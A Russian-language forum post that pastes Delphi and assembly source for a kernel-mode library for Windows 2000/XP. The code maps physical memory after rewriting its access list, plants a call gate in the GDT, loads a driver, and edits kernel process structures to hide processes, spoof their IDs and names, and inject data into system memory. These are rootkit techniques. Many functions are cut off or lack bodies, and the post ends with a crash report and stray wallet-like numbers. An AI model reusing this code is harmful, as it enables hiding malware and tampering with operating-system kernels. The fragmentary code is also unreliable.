GateType: dword;
KernelBase : dword; // адрес ядра в памяти
dKernelBase: dword; // адрес ядра подгруженного в User Space
hPhysMem: dword; // хэндл секции \Device\PhysicalMemory
hDriver: dword;
UndocData : packed record
{00} BaseProcStrAdr : dword; // адрес первой EPROCESS
{04} ActivePsListOffset: dword; // смещение ActivePsList в EPROCESS
{08} PidOffset: dword; // смещение ProcessID в EPROCESS
{0C} NameOffset: dword; // смещение ImageName в EPROCESS
{10} ppIdOffset: dword; // смещение ParrentPid в EPROCESS
{14} ImgNameOffset: dword; // смещение ImageFileName в EPROCESS
end;
{ перезагрузка регистра FS и вызов Ring0 кода }
procedure Ring0CallProc;
asm
cli
pushad
pushfd
mov di, $30
mov fs, di
call Ring0ProcAdr
mov di, $3B
mov fs, di
popfd
popad
sti
retf
end;
{ Открытие физической памяти }
function OpenPhysicalMemory(mAccess: dword): THandle;
var
PhysMemString: TUnicodeString;
Attr: TObjectAttributes;
OldAcl, NewAcl: PACL;
SD: PSECURITY_DESCRIPTOR;
Access: EXPLICIT_ACCESS;
mHandle: dword;
begin
Result := 0;
RtlInitUnicodeString(@PhysMemString, MemDeviceName);
InitializeObjectAttributes(@Attr, @PhysMemString, OBJ_CASE_INSENSITIVE or
OBJ_KERNEL_HANDLE, 0, nil);
if ZwOpenSection(@mHandle, READ_CONTROL or
WRITE_DAC , @Attr) <> STATUS_SUCCESS then Exit;
if GetSecurityInfo(mHandle, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
nil, nil, @OldAcl, nil, SD) <> ERROR_SUCCESS then Exit;
with Access do
begin
grfAccessPermissions := mAccess;
grfAccessMode := GRANT_ACCESS;
grfInheritance := NO_INHERITANCE;
Trustee.pMultipleTrustee := nil;
Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE;
Trustee.TrusteeForm := TRUSTEE_IS_NAME;
Trustee.TrusteeType := TRUSTEE_IS_USER;
Trustee.ptstrName := 'CURRENT_USER';
end;
{
Получение физического адреса из виртуального.
Действительно только для Nonpaged Memory.
}
function QuasiMmGetPhysicalAddress(VirtualAddress: dword;
var Offset: dword): dword;
begin
Offset := VirtualAddress and $FFF;
if (VirtualAddress > $80000000) and (VirtualAddress < $A0000000) then
Result := VirtualAddress and $1ffff000
else Result := VirtualAddress and $fff000;
end;
{ установка калгейта }
Function InstallCallgate(hPhysMem: dword): boolean;
var
gdt: TGDTInfo;
offset, base_address: DWORD;
begin
Result := false;
if hPhysMem = 0 then Exit;
asm sgdt [gdt] end;
base_address := QuasiMmGetPhysicalAddress(gdt.Base, offset);
ptrGDT := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE,
0, base_address, gdt.limit + offset);
if ptrGDT = nil then Exit;
CurrentGate := PGateDescriptor(DWORD(ptrGDT) + offset);
repeat
CurrentGate := PGateDescriptor(DWORD(CurrentGate) + SizeOf(TGateDescriptor));
if (CurrentGate.Attributes and $FF00) = 0 then
begin
OldGate := CurrentGate^;
CurrentGate.Selector := $08; // ring0 code selector
CurrentGate.OffsetLo := DWORD(@Ring0CallProc);
CurrentGate.OffsetHi := DWORD(@Ring0CallProc) shr 16;
CurrentGate.Attributes := $EC00;
FarCall.Offset := 0;
FarCall.Selector := DWORD(CurrentGate) - DWORD(ptrGDT) - offset;
Break;
end;
until DWORD(CurrentGate) >= DWORD(ptrGDT) + gdt.limit + offset;
FlushViewOfFile(CurrentGate, SizeOf(TGateDescriptor));
Result := true;
end;
{
Получение виртуального адреса для модуля
загруженного в системное адресное пространство.
}
function GetKernelModuleAddress(pModuleName: PChar): dword;
var
Info: PSYSTEM_MODULE_INFORMATION_EX;
R: dword;
begin
Result := 0;
Info := GetInfoTable(SystemModuleInformation);
for r := 0 to Info^.ModulesCount do
if lstrcmpi(PChar(dword(@Info^.Modules[r].ImageName)
+ Info^.Modules[r].ModuleNameOffset), pModuleName) = 0 then
begin
Result := dword(Info^.Modules[r].Base);
break;
end;
VirtualFree(Info, 0, MEM_RELEASE);
end;
{
Получение физического адреса по виртуальному.
Действительно для любых регионов памяти.
}
Function GetPhysicalAddress(VirtualAddress: dword): LARGE_INTEGER; stdcall;
var
Data : packed record
VirtualAddress: dword;
Result: LARGE_INTEGER;
end;
begin
Data.VirtualAddress := VirtualAddress;
CallRing0(@Ring0Call, @Data);
Result.QuadPart := Data.Result.QuadPart;
end;
{
Отображение участка виртуальной памяти в
текушем процессе через физическую память.
}
function MapVirtualMemory(vAddress: pointer; Size: dword): pointer;
var
MappedAddress: LARGE_INTEGER;
begin
Result := nil;
MappedAddress := GetPhysicalAddress(dword(vAddress));
if MappedAddress.QuadPart = 0 then Exit;
Result := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE,
0, MappedAddress.LowPart, Size);
end;
{
Копирование участка памяти из 0 кольца.
Можно работать с памятью ядра.
ВНИМАНИЕ! некорректная запись в память ядра приведет к падению системы!
}
Procedure Ring0CopyMemory(Source, Destination: pointer; Size: dword);
var
Data : packed record
Src: pointer;
Dst: pointer;
Size: dword;
end;
{ Получение адреса ядерной API в системном адресном пространстве. }
Function GetKernelProcAddress(lpProcName: PChar): dword;
var
uProc: dword;
begin
uProc := dword(GetProcAddress(dKernelBase, lpProcName));
if uProc > 0 then Result := (uProc - dKernelBase) + KernelBase
else Result := 0;
end;
{ получение указателя на структуру EPROCESS для System }
function GetSystemEPROCESS(): dword;
var
Data: packed record
UndocAdr: pointer;
Result: dword;
end;
begin
Data.UndocAdr := @UndocData;
CallRing0(@Ring0Call, @Data);
Result := Data.Result;
end;
{ создание записи о драйвере в реестре. }
Procedure InstallDriver();
var
Key, Key2: HKEY;
Pth: PChar;
dType: dword;
Image: array [0..MAX_PATH] of Char;
begin
lstrcpy(Image, '\??\');
GetFullPathName('Ring0Port.sys', MAX_PATH, PChar(dword(@Image) + 4), Pth);
dType := 1;
RegOpenKey(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key);
RegCreateKey(Key, 'KernelPort', Key2);
RegSetValueEx(Key2, 'ImagePath', 0, REG_SZ, @Image, lstrlen(Image));
RegSetValueEx(Key2, 'Type', 0, REG_DWORD, @dType, SizeOf(dword));
RegCloseKey(Key2);
RegCloseKey(Key);
end;
{ удалние из реестра записи о драйвере. }
Procedure UninstallDriver();
var
Key: HKEY;
begin
RegOpenKey(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key);
RegDeleteKey(Key, 'KernelPort');
RegCloseKey(Key);
end;
{ загрузка драйвера и открытие его устройства. }
Function OpenDriver(): THandle;
var
Image: TUnicodeString;
begin
InstallDriver();
RtlInitUnicodeString(@Image, Driver);
ZwLoadDriver(@Image);
Result := CreateFile('\\.\Ring0Port', GENERIC_WRITE, 0,
nil, OPEN_EXISTING, 0, 0);
end;
{ открытие памяти и установка калгейта. }
Function InitializeCallGate(): boolean;
begin
Result := false;
hPhysMem := OpenPhysicalMemory(SECTION_MAP_READ or SECTION_MAP_WRITE);
if hPhysMem = 0 then Exit;
Result := InstallCallgate(hPhysMem);
end;
function InitializeDriverGate(): boolean;
begin
hDriver := OpenDriver();
Result := hDriver <> INVALID_HANDLE_VALUE;
end;
{ Инициализация Ring0 библиотеки. }
function InitialzeRing0Library(Ring0GateType: dword): boolean;
var
Version: TOSVersionInfo;
begin
Result := false;
Version.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(Version);
if Version.dwMajorVersion <> 5 then Exit;
case Version.dwBuildNumber of
2195 : begin // Windows 2000
UndocData.ActivePsListOffset := $0A0;
UndocData.PidOffset := $09C;
UndocData.NameOffset := $1FC;
UndocData.ppIdOffset := $1C8;
UndocData.ImgNameOffset := $000;
end;
2600 : begin // Windows XP
UndocData.ActivePsListOffset := $088;
UndocData.PidOffset := $084;
UndocData.NameOffset := $174;
UndocData.ppIdOffset := $14C;
UndocData.ImgNameOffset := $1F4;
end;
else Exit;
end;
case GateType of
CALL_GATE : Result := InitializeCallGate();
DRIVER_GATE : Result := InitializeDriverGate();
end;
if Result then UndocData.BaseProcStrAdr := GetSystemEPROCESS();
end;
Procedure FreeDriver();
var
Image: TUnicodeString;
begin
CloseHandle(hDriver);
RtlInitUnicodeString(@Image, Driver);
ZwUnloadDriver(@Image);
UninstallDriver();
end;
{ Освобождение ресурсов библиотеки }
Procedure FreeRing0Library();
begin
case GateType of
CALL_GATE : begin
UninstallCallgate();
CloseHandle(hPhysMem);
end;
DRIVER_GATE : FreeDriver();
end;
FreeLibrary(dKernelBase);
end;
{
Получение по ProcessId указателя на струкруру ядра EPROCESS
связанную с данным процессом.
}
Function GetEPROCESSAdr(ProcessId: dword): dword;
var
Data: packed record
UndocAdr: pointer;
ProcessId: dword;
Result: dword;
end;
@Find:
mov edx, [eax + edi] //ActivePs.Pid
cmp edx, ecx //compare process id
jz @Found
mov eax, [eax + esi] // ActivePsList.Flink
sub eax, esi //sub ActivePsListOffset
cmp eax, [ebx] //final
jz @End
jmp @Find
@Found:
pop edx
mov [edx + $08], eax //save result
ret
@End:
pop edx
mov [edx + $08], 0
ret
end;
begin
Data.UndocAdr := @UndocData;
Data.ProcessId := ProcessId;
CallRing0(@Ring0Call, @Data);
Result := Data.Result;
end;
{
Скрытие процесса по указателю на структуру ядра EPROCESS.
Неправильный указатель может привести к краху системы!
}
Procedure HideProcessEx(pEPROCESS: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
CallRing0(@Ring0Call, @Data);
end;
{
Скрытие процесса по ProcessId.
В случае удачи возвращает указатель на EPROCESS, иначе 0.
}
function HideProcess(ProcessId: dword): dword;
var
OldPriority: dword;
begin
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
Result := GetEPROCESSAdr(ProcessId);
HideProcessEx(Result);
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{ Восстановление процесса в списке процессов по указателю на EPROCESS. }
Procedure ShowProcess(pEPROCESS: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
CallRing0(@Ring0Call, @Data);
end;
{ Получение списка процессов прямым доступом к структурам ядра. }
function GetProcesses(): PSYS_PROCESSES;
var
Eprocess: array [0..$600] of byte;
CurrentStruct: dword;
CurrSize: dword;
OldPriority: dword;
begin
CurrSize := SizeOf(TSYS_PROCESSES);
GetMem(Result, CurrSize);
ZeroMemory(Result, CurrSize);
ZeroMemory(@Eprocess, $600);
CurrentStruct := UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset;
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
repeat
CurrentStruct := CurrentStruct - UndocData.ActivePsListOffset;
Ring0CopyMemory(pointer(CurrentStruct), @Eprocess, $220);
if pdword(dword(@Eprocess) + UndocData.ppIdOffset)^ > 0 then
begin
Inc(CurrSize, SizeOf(TPROCESS));
ReallocMem(Result, CurrSize);
Result^.Process[Result^.ProcessesCount].ProcessId :=
pdword(dword(@Eprocess) + UndocData.PidOffset)^;
Result^.Process[Result^.ProcessesCount].pEPROCESS := CurrentStruct;
lstrcpyn(@Result^.Process[Result^.ProcessesCount].ImageName,
PChar(dword(@Eprocess) + UndocData.NameOffset), 16);
Result^.Process[Result^.ProcessesCount].ParrentPid :=
pdword(dword(@Eprocess) + UndocData.ppIdOffset)^;
Inc(Result^.ProcessesCount);
end;
CurrentStruct := pdword(dword(@Eprocess) + UndocData.ActivePsListOffset)^;
if CurrentStruct < $80000000 then break;
until CurrentStruct = UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset;
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{ Смена Id процесса по указателю на EPROCESS. }
Procedure ChangeProcessIdEx(pEPROCESS: dword; NewPid: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
NewId: dword;
end;
Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax]
mov esi, [eax + $04] // pEPROCESS
add esi, [ebx + $08] // @pEPROCESS.ProcessId
mov eax, [eax + $08] // NewId
mov [esi], eax
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
Data.NewId := NewPid;
CallRing0(@Ring0Call, @Data);
end;
{ Смена Id процесса. }
Procedure ChangeProcessId(OldPid: dword; NewPid: dword);
var
OldPriority: dword;
pEPROCESS : dword;
begin
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
pEPROCESS := GetEPROCESSAdr(OldPid);
ChangeProcessIdEx(pEPROCESS, NewPid);
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{
Смена имени процесса по указателю на его EPROCESS.
}
Procedure ChangeProcessNameEx(pEPROCESS: dword; NewName: PChar);
var
Data: packed record
{00} UndocAdr: pointer;
{04} pEPROCESS: dword;
{08} NewName: array [0..15] of Char;
{18} UnicName: array [0..15] of WideChar;
{38} UnicLength: word;
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
lstrcpyn(Data.NewName, NewName, 16);
StringToWideChar(NewName, @Data.UnicName, 16);
Data.UnicLength := lstrlen(NewName);
CallRing0(@Ring0Call, @Data);
end;
{ Смена имени процесса. }
Procedure ChangeProcessName(ProcessId: dword; NewName: PChar);
var
OldPriority: dword;
pEPROCESS : dword;
begin
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
pEPROCESS := GetEPROCESSAdr(ProcessId);
ChangeProcessNameEx(pEPROCESS, NewName);
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{
Выделение участка памяти в NonPaged Pool и копирование в него данных.
Mem - адрес участка памяти,
Size - размер участка памяти,
Result - адрес памяти в SystemSpace
}
function InjectDataToSystemMemory(Mem: pointer; Size: dword): dword;
var
Data: packed record
Mem: pointer;
Size: dword;
Result: dword;
end;
{ Разрешение / запркщение использования карты ввода - вывода для процесса. }
Procedure SetIoAccessProcessEx(pEPROCESS: dword; Access: boolean);
var
Data : packed record
pEPROCESS: dword;
Access: dword;
end;
Ккомпилил код, все запустилось, однако на 7к при запуске происходит падение на этой строке db $0ff, $01d // call far [FarCall]. На васме последний комментарий с такой же проблемой, на него так и не ответили.
R106276538945
Z160640024212
410011190732605
